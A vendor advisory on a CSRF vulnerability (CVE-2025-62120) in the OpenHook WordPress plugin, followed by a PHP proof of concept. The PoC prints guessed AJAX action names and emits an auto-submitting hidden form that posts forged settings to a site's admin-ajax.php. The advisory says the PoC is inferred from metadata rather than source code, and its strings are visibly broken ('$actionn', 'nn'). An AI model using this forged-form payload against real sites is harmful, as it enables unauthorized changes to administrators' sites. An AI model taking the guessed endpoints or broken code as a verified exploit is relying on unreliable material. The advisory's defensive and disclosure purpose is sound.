Atomic Edge analysis of CVE-2025-62120 (metadata-based):
The OpenHook WordPress plugin version 4.3.1 and earlier contains a Cross-Site Request Forgery (CSRF) vulnerability. This flaw allows unauthenticated attackers to trick authenticated administrators into performing unauthorized actions via forged requests. The vulnerability exists due to missing or incorrect nonce validation on a specific plugin function.
Atomic Edge research identifies the root cause as a missing nonce check on a privileged administrative function. The CWE-352 classification confirms this is a classic CSRF vulnerability where state-changing requests lack anti-CSRF tokens. Without source code, we infer the vulnerable function likely handles plugin settings, content modification, or user role changes. The vulnerability description explicitly states missing or incorrect nonce validation, which aligns with common WordPress plugin patterns where developers omit `check_admin_referer()` or `wp_verify_nonce()` calls on administrative AJAX handlers or form submissions.
Exploitation requires an attacker to craft a malicious link or form that submits a request to a specific OpenHook endpoint. Based on WordPress plugin conventions, the likely attack vector is `/wp-admin/admin-ajax.php` with an action parameter containing `thesis_openhook` or a similar plugin-specific prefix. An attacker would embed this request in a webpage or email, then lure an administrator to visit it while authenticated. The forged request would execute the vulnerable function without the administrator’s knowledge or consent.
Remediation requires adding proper nonce validation to all state-changing administrative functions. The plugin should implement `check_ajax_referer()` for AJAX handlers or `wp_verify_nonce()` for form submissions. Each privileged endpoint must verify a unique, time-limited nonce parameter that only legitimate WordPress sessions can generate. The fix should also include capability checks to ensure only authorized users can access administrative functions.
Successful exploitation enables attackers to perform unauthorized administrative actions. The CVSS vector indicates confidentiality is not affected (C:N), but integrity impact is low (I:L). Atomic Edge analysis concludes this could allow modification of plugin settings, injection of malicious content, or alteration of site functionality. The attack requires user interaction (UI:R) and cannot directly compromise the server, but could facilitate secondary attacks like stored XSS or privilege escalation through configuration changes.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62120 - OpenHook <= 4.3.1 - Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2025-62120
* This script demonstrates CSRF exploitation against OpenHook plugin <= 4.3.1
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter contains 'openhook' or 'thesis_openhook'
* 3. No nonce validation exists on the target function
* 4. Administrator privileges are required for the action
*/
$target_url = 'https://vulnerable-site.com';
// Common OpenHook AJAX action names inferred from plugin slug
$possible_actions = [
'thesis_openhook_action',
'openhook_save_settings',
'thesis_openhook_update',
'openhook_process_form'
];
// Generate CSRF payload for each possible action
foreach ($possible_actions as $action) {
$csrf_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = [
'action' => $action,
'parameter' => 'malicious_value' // Example parameter for demonstration
];
echo "Testing action: $actionn";
echo "Target URL: $csrf_urln";
echo "Payload: " . http_build_query($post_fields) . "nn";
}
// Example malicious HTML form that would be served to an administrator
echo '<!-- Malicious HTML form for CSRF attack -->';
echo '<form id="csrf_form" method="POST" action="' . $target_url . '/wp-admin/admin-ajax.php">';
echo '<input type="hidden" name="action" value="thesis_openhook_action">';
echo '<input type="hidden" name="settings" value="injected_value">';
echo '</form>';
echo '<script>document.getElementById("csrf_form").submit();</script>';
// Note: Actual exploitation requires the administrator to be logged in
// and visit a page containing this malicious form/script
?>
